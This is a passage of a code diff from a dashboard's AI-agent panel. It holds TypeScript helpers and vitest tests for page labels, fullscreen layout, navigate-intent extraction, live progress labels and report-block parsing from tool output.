||||
runs: "Runs",
|
||||
run: "Run detail",
|
||||
errors: "Errors",
|
||||
error: "Error detail",
|
||||
queues: "Queues",
|
||||
queue: "Queue detail",
|
||||
deployments: "Deployments",
|
||||
deployment: "Deployment detail",
|
||||
tasks: "Tasks",
|
||||
task: "Task detail",
|
||||
schedule: "Schedule detail",
|
||||
batches: "Batches",
|
||||
batch: "Batch detail",
|
||||
test: "Test",
|
||||
alerts: "Alerts",
|
||||
apikeys: "API keys",
|
||||
envvars: "Environment variables",
|
||||
concurrency: "Concurrency",
|
||||
regions: "Regions",
|
||||
settings: "Settings",
|
||||
waitpoints: "Waitpoints",
|
||||
bulkactions: "Bulk actions",
|
||||
branches: "Branches",
|
||||
logs: "Logs",
|
||||
limits: "Limits",
|
||||
query: "Query",
|
||||
dashboards: "Dashboards",
|
||||
agents: "Agents",
|
||||
playground: "Playground",
|
||||
prompts: "Prompts",
|
||||
models: "Models",
|
||||
sessions: "Sessions",
|
||||
};
|
||||
|
||||
// Only sections whose label isn't the prettified segment need an entry.
|
||||
const SECTION_LABELS: Record<string, string> = {
|
||||
agents: "Agents",
|
||||
alerts: "Alerts",
|
||||
apikeys: "API keys",
|
||||
batches: "Batches",
|
||||
"bulk-actions": "Bulk actions",
|
||||
branches: "Branches",
|
||||
concurrency: "Concurrency",
|
||||
dashboards: "Dashboards",
|
||||
deployments: "Deployments",
|
||||
"dev-branches": "Branches",
|
||||
"environment-variables": "Environment variables",
|
||||
errors: "Errors",
|
||||
limits: "Limits",
|
||||
logs: "Logs",
|
||||
metrics: "Metrics",
|
||||
models: "Models",
|
||||
playground: "Playground",
|
||||
prompts: "Prompts",
|
||||
query: "Query",
|
||||
queues: "Queues",
|
||||
regions: "Regions",
|
||||
runs: "Runs",
|
||||
schedules: "Schedules",
|
||||
sessions: "Sessions",
|
||||
settings: "Settings",
|
||||
tasks: "Tasks",
|
||||
test: "Test",
|
||||
versions: "Versions",
|
||||
waitpoints: "Waitpoints",
|
||||
};
|
||||
|
||||
function prettifySegment(segment: string): string {
|
||||
const words = segment.replace(/[-_]+/g, " ").trim();
|
||||
if (!words) return FALLBACK_LABEL;
|
||||
return words.charAt(0).toUpperCase() + words.slice(1);
|
||||
}
|
||||
|
||||
// An env path is always `/orgs/{org}/projects/{project}/env/{slug}/{section}`, so both
|
||||
// markers sit at fixed indexes. A branch slug is index 5 and can never be read as the marker.
|
||||
const ENV_MARKER_INDEX = 4;
|
||||
const ENV_SECTION_INDEX = 6;
|
||||
|
||||
// Env-scoped paths label off the section after `env/{slug}`; anything else falls
|
||||
// back to its last segment.
|
||||
export function pageLabelFromPath(pathname: string): string {
|
||||
const segments = pathname.split("/").filter(Boolean);
|
||||
if (segments.length === 0) return FALLBACK_LABEL;
|
||||
|
||||
if (
|
||||
segments[0] === "orgs" &&
|
||||
segments[2] === "projects" &&
|
||||
segments[ENV_MARKER_INDEX] === "env"
|
||||
) {
|
||||
const section = segments[ENV_SECTION_INDEX];
|
||||
if (!section) return "Overview";
|
||||
return SECTION_LABELS[section] ?? prettifySegment(section);
|
||||
}
|
||||
|
||||
const last = segments[segments.length - 1];
|
||||
return last ? (SECTION_LABELS[last] ?? prettifySegment(last)) : FALLBACK_LABEL;
|
||||
}
|
||||
|
||||
export function agentPageLabel(
|
||||
pageContext: AgentPageContext | undefined,
|
||||
pathname: string
|
||||
): string {
|
||||
const page = pageContext?.page;
|
||||
if (page && page.kind !== "other") {
|
||||
return KIND_LABELS[page.kind] ?? pageLabelFromPath(pathname);
|
||||
}
|
||||
// Prefer the path the `other` page carries: it is what the agent was told.
|
||||
return pageLabelFromPath(page?.kind === "other" && page.path ? page.path : pathname);
|
||||
}
|
||||
@@ -0,0 +1,52 @@
|
||||
// Both class helpers apply to always-rendered wrappers, so toggling fullscreen is a
|
||||
// class change only and the open chat's transport, session and transcript survive it.
|
||||
import { cn } from "~/utils/cn";
|
||||
|
||||
export const AGENT_FULLSCREEN_STORAGE_KEY = "tdev:dashboard-agent:fullscreen";
|
||||
|
||||
export function readAgentFullscreen(): boolean {
|
||||
if (typeof window === "undefined") return false;
|
||||
try {
|
||||
return window.localStorage.getItem(AGENT_FULLSCREEN_STORAGE_KEY) === "true";
|
||||
} catch {
|
||||
return false;
|
||||
}
|
||||
}
|
||||
|
||||
export function writeAgentFullscreen(fullscreen: boolean): void {
|
||||
if (typeof window === "undefined") return;
|
||||
try {
|
||||
window.localStorage.setItem(AGENT_FULLSCREEN_STORAGE_KEY, fullscreen ? "true" : "false");
|
||||
} catch {
|
||||
/* ignore */
|
||||
}
|
||||
}
|
||||
|
||||
export function agentTakeoverClassName(fullscreen: boolean): string {
|
||||
return fullscreen ? "absolute inset-0 z-10 bg-background-bright" : "h-full";
|
||||
}
|
||||
|
||||
// `invisible` rather than `display: none`: only this preserves the computed layout, so
|
||||
// scroll positions and measured widths survive.
|
||||
export function agentHiddenContentClassName(fullscreen: boolean): string {
|
||||
return cn("h-full overflow-hidden", fullscreen && "invisible");
|
||||
}
|
||||
|
||||
export function AgentPanelColumn({
|
||||
fullscreen,
|
||||
children,
|
||||
}: {
|
||||
fullscreen: boolean;
|
||||
children: React.ReactNode;
|
||||
}) {
|
||||
return (
|
||||
<div
|
||||
className={cn(
|
||||
"flex min-h-0 min-w-0 flex-1 flex-col",
|
||||
fullscreen && "mx-auto w-full max-w-3xl"
|
||||
)}
|
||||
>
|
||||
{children}
|
||||
</div>
|
||||
);
|
||||
}
|
||||
@@ -0,0 +1,48 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { pendingNavigateIntents } from "./pending-intents";
|
||||
|
||||
describe("pendingNavigateIntents", () => {
|
||||
const uri = "trigger://proj_abc/env_123/run/run_abc";
|
||||
const toolPart = (toolCallId: string, state = "output-available") => ({
|
||||
type: "tool-navigate_to",
|
||||
state,
|
||||
toolCallId,
|
||||
output: { intent: { kind: "navigate", target: uri } },
|
||||
});
|
||||
|
||||
it("returns the intent from a completed navigate_to call, once", () => {
|
||||
const seen = new Set<string>();
|
||||
const messages = [{ id: "m1", parts: [toolPart("call-1")] }];
|
||||
|
||||
expect(pendingNavigateIntents(messages, seen)).toEqual([{ kind: "navigate", target: uri }]);
|
||||
expect(pendingNavigateIntents(messages, seen)).toEqual([]);
|
||||
});
|
||||
|
||||
it("ignores a call that hasn't produced output yet", () => {
|
||||
expect(
|
||||
pendingNavigateIntents(
|
||||
[{ id: "m1", parts: [toolPart("call-1", "input-available")] }],
|
||||
new Set()
|
||||
)
|
||||
).toEqual([]);
|
||||
});
|
||||
|
||||
it("ignores output that isn't a navigate intent", () => {
|
||||
const messages = [
|
||||
{ id: "m1", parts: [{ ...toolPart("call-1"), output: { error: "nowhere to go" } }] },
|
||||
{ id: "m2", parts: [{ type: "text", text: "hello" }] },
|
||||
];
|
||||
|
||||
expect(pendingNavigateIntents(messages, new Set())).toEqual([]);
|
||||
});
|
||||
|
||||
it("skips calls seeded as already seen (loaded history)", () => {
|
||||
const history = [{ id: "m1", parts: [toolPart("call-1")] }];
|
||||
const seen = new Set<string>();
|
||||
pendingNavigateIntents(history, seen);
|
||||
|
||||
expect(
|
||||
pendingNavigateIntents([...history, { id: "m2", parts: [toolPart("call-2")] }], seen)
|
||||
).toEqual([{ kind: "navigate", target: uri }]);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,42 @@
|
||||
// `seen` is mutated with the calls handled and must be seeded from the transcript
|
||||
// loaded at mount, or replaying history re-fires its intents.
|
||||
import { agentIntentSchema, type AgentIntent } from "@internal/dashboard-agent-contracts";
|
||||
|
||||
type ToolPart = { type?: string; state?: string; toolCallId?: string; output?: unknown };
|
||||
type ToolMessage = { id: string; parts?: ReadonlyArray<unknown> };
|
||||
|
||||
function pendingToolIntents<Kind extends AgentIntent["kind"]>(
|
||||
messages: ReadonlyArray<ToolMessage>,
|
||||
seen: Set<string>,
|
||||
toolType: string,
|
||||
kind: Kind
|
||||
): Array<Extract<AgentIntent, { kind: Kind }>> {
|
||||
const intents: Array<Extract<AgentIntent, { kind: Kind }>> = [];
|
||||
|
||||
for (const message of messages) {
|
||||
const parts = message.parts ?? [];
|
||||
for (let i = 0; i < parts.length; i++) {
|
||||
const part = parts[i] as ToolPart;
|
||||
if (part?.type !== toolType || part.state !== "output-available") continue;
|
||||
|
||||
const key = part.toolCallId ?? `${message.id}:${i}`;
|
||||
if (seen.has(key)) continue;
|
||||
seen.add(key);
|
||||
|
||||
const output = part.output as { intent?: unknown } | undefined;
|
||||
const parsed = agentIntentSchema.safeParse(output?.intent);
|
||||
if (parsed.success && parsed.data.kind === kind) {
|
||||
intents.push(parsed.data as Extract<AgentIntent, { kind: Kind }>);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
return intents;
|
||||
}
|
||||
|
||||
export function pendingNavigateIntents(
|
||||
messages: ReadonlyArray<ToolMessage>,
|
||||
seen: Set<string>
|
||||
): Array<Extract<AgentIntent, { kind: "navigate" }>> {
|
||||
return pendingToolIntents(messages, seen, "tool-navigate_to", "navigate");
|
||||
}
|
||||
@@ -0,0 +1,222 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import { inFlightToolName, liveInvestigation, liveProgress } from "./progress-line";
|
||||
|
||||
function assistant(parts: unknown[]) {
|
||||
return { role: "assistant", parts };
|
||||
}
|
||||
|
||||
function pendingTool(name: string) {
|
||||
return { type: `tool-${name}`, state: "input-available" };
|
||||
}
|
||||
|
||||
function investigationPart(
|
||||
id: string,
|
||||
revision: number,
|
||||
outcome: string,
|
||||
progress?: string
|
||||
): unknown {
|
||||
return {
|
||||
type: "tool-render_view",
|
||||
state: "output-available",
|
||||
output: {
|
||||
blocks: [{ type: "investigation", id, revision, investigation: { outcome, progress } }],
|
||||
},
|
||||
};
|
||||
}
|
||||
|
||||
describe("inFlightToolName", () => {
|
||||
it("names the tool the last turn is waiting on", () => {
|
||||
expect(
|
||||
inFlightToolName([
|
||||
{ role: "user", parts: [{ type: "text", text: "how are the queues?" }] },
|
||||
assistant([{ type: "text", text: "Let me look." }, pendingTool("get_queue")]),
|
||||
])
|
||||
).toBe("get_queue");
|
||||
});
|
||||
|
||||
it("takes the most recent call when two are in flight", () => {
|
||||
expect(inFlightToolName([assistant([pendingTool("get_run"), pendingTool("run_query")])])).toBe(
|
||||
"run_query"
|
||||
);
|
||||
});
|
||||
|
||||
it("is null once the call has output, and for a turn with nothing in flight", () => {
|
||||
expect(
|
||||
inFlightToolName([assistant([{ type: "tool-render_view", state: "output-available" }])])
|
||||
).toBeNull();
|
||||
expect(inFlightToolName([])).toBeNull();
|
||||
expect(inFlightToolName([assistant([{ type: "text", text: "hi" }])])).toBeNull();
|
||||
expect(inFlightToolName([{ role: "user", parts: [{ type: "text", text: "hi" }] }])).toBeNull();
|
||||
});
|
||||
|
||||
it("ignores a call left in flight in an earlier turn", () => {
|
||||
expect(
|
||||
inFlightToolName([
|
||||
assistant([pendingTool("get_run")]),
|
||||
{ role: "user", parts: [{ type: "text", text: "never mind" }] },
|
||||
])
|
||||
).toBeNull();
|
||||
});
|
||||
});
|
||||
|
||||
describe("liveInvestigation", () => {
|
||||
it("finds an unfinished card", () => {
|
||||
expect(
|
||||
liveInvestigation([assistant([investigationPart("inv_1", 0, "in_progress", "Reading logs")])])
|
||||
).toEqual({ progress: "Reading logs" });
|
||||
});
|
||||
|
||||
it("is null once a later revision of the same investigation concludes", () => {
|
||||
expect(
|
||||
liveInvestigation([
|
||||
assistant([investigationPart("inv_1", 0, "in_progress", "Reading logs")]),
|
||||
assistant([investigationPart("inv_1", 1, "concluded")]),
|
||||
])
|
||||
).toBeNull();
|
||||
});
|
||||
|
||||
it("stays live when the concluded revision is the OLDER one", () => {
|
||||
expect(
|
||||
liveInvestigation([
|
||||
assistant([investigationPart("inv_1", 2, "in_progress", "Testing hypothesis 2")]),
|
||||
assistant([investigationPart("inv_1", 1, "concluded")]),
|
||||
])
|
||||
).toEqual({ progress: "Testing hypothesis 2" });
|
||||
});
|
||||
|
||||
it("follows the investigation the reader saw last", () => {
|
||||
expect(
|
||||
liveInvestigation([
|
||||
assistant([investigationPart("inv_1", 0, "in_progress", "First")]),
|
||||
assistant([investigationPart("inv_2", 0, "in_progress", "Second")]),
|
||||
])
|
||||
).toEqual({ progress: "Second" });
|
||||
});
|
||||
|
||||
it("reports a card with no progress phrase of its own", () => {
|
||||
expect(liveInvestigation([assistant([investigationPart("inv_1", 0, "in_progress")])])).toEqual({
|
||||
progress: null,
|
||||
});
|
||||
});
|
||||
});
|
||||
|
||||
describe("liveProgress", () => {
|
||||
it("shows nothing when nothing is in flight", () => {
|
||||
expect(liveProgress([assistant([{ type: "text", text: "done" }])], null)).toBeNull();
|
||||
});
|
||||
|
||||
it("falls back to the generic activity label", () => {
|
||||
expect(liveProgress([], "thinking")).toEqual({ source: "activity", label: "Thinking…" });
|
||||
expect(liveProgress([assistant([{ type: "text", text: "…" }])], "working")).toEqual({
|
||||
source: "activity",
|
||||
label: "Working…",
|
||||
});
|
||||
});
|
||||
|
||||
it("prefers a tool's phrase over the generic activity", () => {
|
||||
expect(liveProgress([assistant([pendingTool("get_queue")])], "working")).toEqual({
|
||||
source: "tool",
|
||||
label: "Reading the queue…",
|
||||
});
|
||||
});
|
||||
|
||||
it("names an unknown tool without a label of its own", () => {
|
||||
expect(liveProgress([assistant([pendingTool("brand_new_tool")])], "working")).toEqual({
|
||||
source: "tool",
|
||||
label: "Running brand_new_tool…",
|
||||
});
|
||||
});
|
||||
|
||||
it("prefers the live card's own phrase over both", () => {
|
||||
expect(
|
||||
liveProgress(
|
||||
[
|
||||
assistant([investigationPart("inv_1", 0, "in_progress", "Testing hypothesis 2")]),
|
||||
assistant([pendingTool("run_query")]),
|
||||
],
|
||||
"working"
|
||||
)
|
||||
).toEqual({ source: "investigation", label: "Testing hypothesis 2" });
|
||||
});
|
||||
|
||||
it("gives a phrase-less live card the generic wording", () => {
|
||||
expect(liveProgress([assistant([investigationPart("inv_1", 0, "in_progress")])], null)).toEqual(
|
||||
{
|
||||
source: "investigation",
|
||||
label: "Working…",
|
||||
}
|
||||
);
|
||||
});
|
||||
|
||||
it("stays non-null through a whole turn: activity → tool → card → tool → done", () => {
|
||||
const submitted: unknown[] = [{ role: "user", parts: [{ type: "text", text: "why failed?" }] }];
|
||||
|
||||
const phases = [
|
||||
{ messages: submitted, activity: "thinking" as const },
|
||||
{
|
||||
messages: [...submitted, assistant([pendingTool("get_run")])],
|
||||
activity: "working" as const,
|
||||
},
|
||||
// The tool landed; the model is composing prose.
|
||||
{
|
||||
messages: [
|
||||
...submitted,
|
||||
assistant([
|
||||
{ type: "tool-get_run", state: "output-available" },
|
||||
{ type: "text", text: "Looking" },
|
||||
]),
|
||||
],
|
||||
activity: "working" as const,
|
||||
},
|
||||
{
|
||||
messages: [
|
||||
...submitted,
|
||||
assistant([investigationPart("inv_1", 0, "in_progress", "Testing hypothesis 1")]),
|
||||
],
|
||||
activity: "working" as const,
|
||||
},
|
||||
// Another tool runs under the live card.
|
||||
{
|
||||
messages: [
|
||||
...submitted,
|
||||
assistant([investigationPart("inv_1", 0, "in_progress", "Testing hypothesis 1")]),
|
||||
assistant([pendingTool("run_query")]),
|
||||
],
|
||||
activity: "working" as const,
|
||||
},
|
||||
// A revision with a new phrase.
|
||||
{
|
||||
messages: [
|
||||
...submitted,
|
||||
assistant([investigationPart("inv_1", 1, "in_progress", "Testing hypothesis 2")]),
|
||||
],
|
||||
activity: "working" as const,
|
||||
},
|
||||
];
|
||||
|
||||
const results = phases.map(({ messages, activity }) => liveProgress(messages, activity));
|
||||
|
||||
expect(results.every((result) => result !== null)).toBe(true);
|
||||
expect(results.map((result) => result!.label)).toEqual([
|
||||
"Thinking…",
|
||||
"Reading the run…",
|
||||
"Working…",
|
||||
"Testing hypothesis 1",
|
||||
"Testing hypothesis 1",
|
||||
"Testing hypothesis 2",
|
||||
]);
|
||||
expect(results.map((result) => result!.source)).toEqual([
|
||||
"activity",
|
||||
"tool",
|
||||
"activity",
|
||||
"investigation",
|
||||
"investigation",
|
||||
"investigation",
|
||||
]);
|
||||
|
||||
// The verdict lands and the activity signal drops.
|
||||
expect(
|
||||
liveProgress([...submitted, assistant([investigationPart("inv_1", 2, "concluded")])], null)
|
||||
).toBeNull();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,128 @@
|
||||
import { toolPendingLabel } from "./tool-labels";
|
||||
|
||||
/** A tool call with no output yet. */
|
||||
export const IN_FLIGHT_TOOL_STATES = new Set(["input-streaming", "input-available"]);
|
||||
|
||||
// "thinking": submitted, nothing back yet. "working": streaming text or tool calls.
|
||||
export type TurnActivity = "thinking" | "working";
|
||||
|
||||
export const ACTIVITY_LABELS: Record<TurnActivity, string> = {
|
||||
thinking: "Thinking…",
|
||||
working: "Working…",
|
||||
};
|
||||
|
||||
export type ProgressSource = "investigation" | "tool" | "activity";
|
||||
|
||||
export type LiveProgress = { source: ProgressSource; label: string };
|
||||
|
||||
/** Duck-typed: this module reads a transcript, it doesn't own one. */
|
||||
type ProgressPart = {
|
||||
type?: string;
|
||||
state?: string;
|
||||
output?: { blocks?: ReadonlyArray<unknown> };
|
||||
};
|
||||
|
||||
type ProgressMessage = { role?: string; parts?: ReadonlyArray<unknown> };
|
||||
|
||||
type LiveInvestigation = { progress: string | null };
|
||||
|
||||
function partsOf(message: ProgressMessage | undefined): ReadonlyArray<ProgressPart> {
|
||||
return (message?.parts ?? []) as ReadonlyArray<ProgressPart>;
|
||||
}
|
||||
|
||||
/** An investigation only reaches the panel through `render_view`'s output. */
|
||||
function investigationBlocksIn(part: ProgressPart): ReadonlyArray<{
|
||||
id: string;
|
||||
revision: number;
|
||||
outcome?: string;
|
||||
progress?: string;
|
||||
}> {
|
||||
if (part?.type !== "tool-render_view") return [];
|
||||
const blocks = part.output?.blocks;
|
||||
if (!Array.isArray(blocks)) return [];
|
||||
const found: { id: string; revision: number; outcome?: string; progress?: string }[] = [];
|
||||
for (const block of blocks) {
|
||||
const b = block as {
|
||||
type?: string;
|
||||
id?: string;
|
||||
revision?: number;
|
||||
investigation?: { outcome?: string; progress?: string };
|
||||
};
|
||||
if (b?.type !== "investigation" || typeof b.id !== "string") continue;
|
||||
found.push({
|
||||
id: b.id,
|
||||
revision: typeof b.revision === "number" ? b.revision : 0,
|
||||
outcome: b.investigation?.outcome,
|
||||
progress: b.investigation?.progress,
|
||||
});
|
||||
}
|
||||
return found;
|
||||
}
|
||||
|
||||
/** Latest revision wins: an early `in_progress` must not outlive the verdict. */
|
||||
export function liveInvestigation(
|
||||
messages: ReadonlyArray<ProgressMessage>
|
||||
): LiveInvestigation | null {
|
||||
const latest = new Map<string, { revision: number; outcome?: string; progress?: string }>();
|
||||
const order: string[] = [];
|
||||
|
||||
for (const message of messages) {
|
||||
for (const part of partsOf(message)) {
|
||||
for (const block of investigationBlocksIn(part)) {
|
||||
const current = latest.get(block.id);
|
||||
if (!current || block.revision >= current.revision) {
|
||||
latest.set(block.id, block);
|
||||
}
|
||||
const seen = order.indexOf(block.id);
|
||||
if (seen !== -1) order.splice(seen, 1);
|
||||
order.push(block.id);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
for (const id of [...order].reverse()) {
|
||||
const block = latest.get(id);
|
||||
if (block?.outcome === "in_progress") {
|
||||
return { progress: block.progress ?? null };
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
/** Only the last assistant message counts; an in-flight part in an earlier turn is stale. */
|
||||
export function inFlightToolName(messages: ReadonlyArray<ProgressMessage>): string | null {
|
||||
const last = messages[messages.length - 1];
|
||||
if (!last || last.role !== "assistant") return null;
|
||||
|
||||
for (const part of [...partsOf(last)].reverse()) {
|
||||
if (
|
||||
typeof part?.type === "string" &&
|
||||
part.type.startsWith("tool-") &&
|
||||
IN_FLIGHT_TOOL_STATES.has(part.state ?? "")
|
||||
) {
|
||||
return part.type.slice("tool-".length);
|
||||
}
|
||||
}
|
||||
return null;
|
||||
}
|
||||
|
||||
/** Must stay non-null for the whole in-flight period: null unmounts, and a gap blinks. */
|
||||
export function liveProgress(
|
||||
messages: ReadonlyArray<ProgressMessage>,
|
||||
activity: TurnActivity | null
|
||||
): LiveProgress | null {
|
||||
const investigation = liveInvestigation(messages);
|
||||
if (investigation) {
|
||||
return {
|
||||
source: "investigation",
|
||||
label: investigation.progress ?? ACTIVITY_LABELS[activity ?? "working"],
|
||||
};
|
||||
}
|
||||
|
||||
const tool = inFlightToolName(messages);
|
||||
if (tool) return { source: "tool", label: `${toolPendingLabel(tool)}…` };
|
||||
|
||||
if (activity) return { source: "activity", label: ACTIVITY_LABELS[activity] };
|
||||
|
||||
return null;
|
||||
}
|
||||
@@ -0,0 +1,139 @@
|
||||
import { describe, expect, it } from "vitest";
|
||||
import {
|
||||
REPORT_TOOL_PART_TYPE,
|
||||
isReportToolPart,
|
||||
reportBlockFromToolPart,
|
||||
reportIsTrustworthy,
|
||||
} from "./report-block-adapter";
|
||||
import { blockIdentity, latestRevisionBlocks } from "./view-blocks";
|
||||
|
||||
const vm = {
|
||||
title: "health",
|
||||
scope: "prod",
|
||||
period: "last 1h",
|
||||
baselineLabel: "vs your 7d normal",
|
||||
generatedAt: "2026-07-27T10:15:00.000Z",
|
||||
windowMinutes: 60,
|
||||
summary: { severity: "crit", statements: [{ findingType: "flow", severity: "crit" }] },
|
||||
findings: [
|
||||
{
|
||||
type: "flow",
|
||||
severity: "crit",
|
||||
reason: "env_limit_saturation",
|
||||
metricIds: ["pending"],
|
||||
recommendation: { code: "raise_env_limit" },
|
||||
},
|
||||
],
|
||||
metrics: [{ id: "pending", value: 4812, unit: "count", severity: "crit" }],
|
||||
facts: { trustworthy: true },
|
||||
links: [],
|
||||
footer: [{ code: "raise_env_limit" }],
|
||||
};
|
||||
|
||||
const uri = "trigger://proj_abc/env_abc/report/health";
|
||||
|
||||
function part(overrides: Record<string, unknown> = {}) {
|
||||
return {
|
||||
type: REPORT_TOOL_PART_TYPE,
|
||||
state: "output-available",
|
||||
toolCallId: "call_1",
|
||||
input: { report: "health" },
|
||||
output: vm,
|
||||
...overrides,
|
||||
};
|
||||
}
|
||||
|
||||
describe("reportBlockFromToolPart", () => {
|
||||
it("builds an immutable snapshot keyed by the tool call", () => {
|
||||
const block = reportBlockFromToolPart(part())!;
|
||||
expect(block.type).toBe("report");
|
||||
expect(block.id).toBe("call_1");
|
||||
expect(block.revision).toBe(0);
|
||||
expect(block.asOf).toBe(vm.generatedAt);
|
||||
expect(block.vm).toEqual(vm);
|
||||
expect(block.reportUri).toBeUndefined();
|
||||
});
|
||||
|
||||
it("carries a trigger:// source uri when the tool returned one", () => {
|
||||
expect(reportBlockFromToolPart(part({ output: { vm, uri } }))!.reportUri).toBe(uri);
|
||||
expect(reportBlockFromToolPart(part({ output: { ...vm, reportUri: uri } }))!.reportUri).toBe(
|
||||
uri
|
||||
);
|
||||
});
|
||||
|
||||
it("drops a uri that isn't a valid trigger:// URI, keeping the card", () => {
|
||||
const block = reportBlockFromToolPart(
|
||||
part({ output: { vm, uri: "https://cloud.trigger.dev/report" } })
|
||||
)!;
|
||||
expect(block.reportUri).toBeUndefined();
|
||||
expect(block.vm.title).toBe("health");
|
||||
});
|
||||
|
||||
it("accepts a JSON-string output", () => {
|
||||
expect(reportBlockFromToolPart(part({ output: JSON.stringify(vm) }))!.vm).toEqual(vm);
|
||||
});
|
||||
|
||||
it("returns null for anything that isn't a completed get_report part", () => {
|
||||
expect(reportBlockFromToolPart(part({ type: "tool-run_query" }))).toBeNull();
|
||||
expect(reportBlockFromToolPart(part({ state: "input-available" }))).toBeNull();
|
||||
expect(reportBlockFromToolPart(part({ state: "output-error" }))).toBeNull();
|
||||
expect(reportBlockFromToolPart(part({ toolCallId: undefined }))).toBeNull();
|
||||
expect(reportBlockFromToolPart(undefined)).toBeNull();
|
||||
expect(reportBlockFromToolPart(null)).toBeNull();
|
||||
});
|
||||
|
||||
it("returns null on malformed output instead of throwing", () => {
|
||||
expect(reportBlockFromToolPart(part({ output: undefined }))).toBeNull();
|
||||
expect(reportBlockFromToolPart(part({ output: "not json at all" }))).toBeNull();
|
||||
expect(reportBlockFromToolPart(part({ output: [vm] }))).toBeNull();
|
||||
expect(reportBlockFromToolPart(part({ output: { error: "Unknown report" } }))).toBeNull();
|
||||
expect(reportBlockFromToolPart(part({ output: { title: "health" } }))).toBeNull();
|
||||
expect(reportBlockFromToolPart(part({ output: { ...vm, generatedAt: undefined } }))).toBeNull();
|
||||
});
|
||||
|
||||
it("passes the tool output's series and links through", () => {
|
||||
const series = { points: [80, 40, 120], kind: "measured" };
|
||||
const links = [{ key: "queues", label: "Queues", url: "/queues" }];
|
||||
const block = reportBlockFromToolPart(
|
||||
part({ output: { ...vm, metrics: [{ ...vm.metrics[0], series }], links } })
|
||||
)!;
|
||||
expect(block.vm.metrics[0]!.series).toEqual(series);
|
||||
expect(block.vm.links).toEqual(links);
|
||||
expect(block.vm.summary.severity).toBe("crit");
|
||||
});
|
||||
|
||||
it("survives presenter fields it has never seen", () => {
|
||||
const block = reportBlockFromToolPart(
|
||||
part({ output: { ...vm, confidence: "high", newSection: { a: 1 } } })
|
||||
)!;
|
||||
expect((block.vm as Record<string, unknown>).confidence).toBe("high");
|
||||
});
|
||||
|
||||
it("renders an untrustworthy (stale telemetry) report, flagged", () => {
|
||||
const stale = { ...vm, facts: { trustworthy: false, flowSource: "runs" } };
|
||||
const block = reportBlockFromToolPart(part({ output: stale }))!;
|
||||
expect(block.vm.facts.trustworthy).toBe(false);
|
||||
expect(reportIsTrustworthy(block.vm)).toBe(false);
|
||||
expect(reportIsTrustworthy({ facts: {} })).toBe(true);
|
||||
expect(reportIsTrustworthy(reportBlockFromToolPart(part())!.vm)).toBe(true);
|
||||
});
|
||||
|
||||
it("never collapses two reports: different tool calls, different blocks", () => {
|
||||
const first = reportBlockFromToolPart(part({ toolCallId: "call_1" }))!;
|
||||
const second = reportBlockFromToolPart(
|
||||
part({ toolCallId: "call_2", output: { ...vm, generatedAt: "2026-07-27T11:15:00.000Z" } })
|
||||
)!;
|
||||
expect(blockIdentity(first)).not.toBe(blockIdentity(second));
|
||||
expect(latestRevisionBlocks([first, second])).toHaveLength(2);
|
||||
const sameKeyAgain = reportBlockFromToolPart(part({ toolCallId: "call_3" }))!;
|
||||
expect(latestRevisionBlocks([first, second, sameKeyAgain])).toHaveLength(3);
|
||||
});
|
||||
});
|
||||
|
||||
describe("isReportToolPart", () => {
|
||||
it("matches a get_report part in any state", () => {
|
||||
expect(isReportToolPart(part({ state: "input-streaming" }))).toBe(true);
|
||||
expect(isReportToolPart(part({ type: "tool-render_view" }))).toBe(false);
|
||||
expect(isReportToolPart(null)).toBe(false);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,115 @@
|
||||
/**
|
||||
* Completed `get_report` tool call to report block.
|
||||
*
|
||||
* `get_report` returns the whole `ReportViewModel` (the same JSON
|
||||
* `GET /api/v1/reports/:key?format=json` serves), and this turns that tool part into
|
||||
* a `report` view block, so the card renders the exact snapshot the model was
|
||||
* grounded on and the two cannot disagree.
|
||||
*
|
||||
* Pure and synchronous: no React, no fetch, no clock. Identity comes from the tool
|
||||
* call (`id = toolCallId`, `revision = 0`), which makes every report an immutable
|
||||
* snapshot: two reports in one conversation never collapse into one card.
|
||||
*
|
||||
* Every failure mode returns `null` so a malformed or half-streamed part degrades to
|
||||
* "no card" rather than to a crash or a card full of blanks.
|
||||
*/
|
||||
import {
|
||||
VIEW_BLOCK_VERSION,
|
||||
isTriggerUri,
|
||||
reportBlockSchema,
|
||||
type EnvelopedReportBlock,
|
||||
} from "@internal/dashboard-agent-contracts";
|
||||
|
||||
/** The tool whose output this adapter understands. */
|
||||
export const REPORT_TOOL_PART_TYPE = "tool-get_report";
|
||||
|
||||
/** The part shape we read, narrowed by hand — tool parts arrive untyped. */
|
||||
type MaybeToolPart = {
|
||||
type?: unknown;
|
||||
state?: unknown;
|
||||
toolCallId?: unknown;
|
||||
output?: unknown;
|
||||
};
|
||||
|
||||
/** A `get_report` part in any state, including still streaming. */
|
||||
export function isReportToolPart(part: unknown): boolean {
|
||||
return (part as MaybeToolPart | null)?.type === REPORT_TOOL_PART_TYPE;
|
||||
}
|
||||
|
||||
/**
|
||||
* Build the block for a completed `get_report` part, or `null` when this part
|
||||
* isn't one, hasn't finished, or didn't return a usable view model.
|
||||
*/
|
||||
export function reportBlockFromToolPart(part: unknown): EnvelopedReportBlock | null {
|
||||
const p = (part ?? {}) as MaybeToolPart;
|
||||
|
||||
if (p.type !== REPORT_TOOL_PART_TYPE) return null;
|
||||
// Only a finished call has a snapshot. In-flight states fall back to the pending
|
||||
// pill, `output-error` to the generic tool row so the failure stays visible.
|
||||
if (p.state !== "output-available") return null;
|
||||
// Without the tool call id the block can't be keyed stably across re-renders, so
|
||||
// render nothing rather than a card that remounts.
|
||||
if (typeof p.toolCallId !== "string" || p.toolCallId.length === 0) return null;
|
||||
|
||||
const output = normalizeOutput(p.output);
|
||||
if (!output) return null;
|
||||
|
||||
const parsed = reportBlockSchema.safeParse({
|
||||
type: "report",
|
||||
id: p.toolCallId,
|
||||
revision: 0,
|
||||
version: VIEW_BLOCK_VERSION,
|
||||
vm: output.vm,
|
||||
// Only a grammar-valid URI is carried; an invalid one is dropped rather than
|
||||
// failing the whole block, since the card reads fine without it.
|
||||
...(output.uri !== undefined ? { reportUri: output.uri } : {}),
|
||||
asOf: asOfFrom(output.vm),
|
||||
});
|
||||
|
||||
return parsed.success ? parsed.data : null;
|
||||
}
|
||||
|
||||
// One trust rule for every surface: the shared layout spec owns it.
|
||||
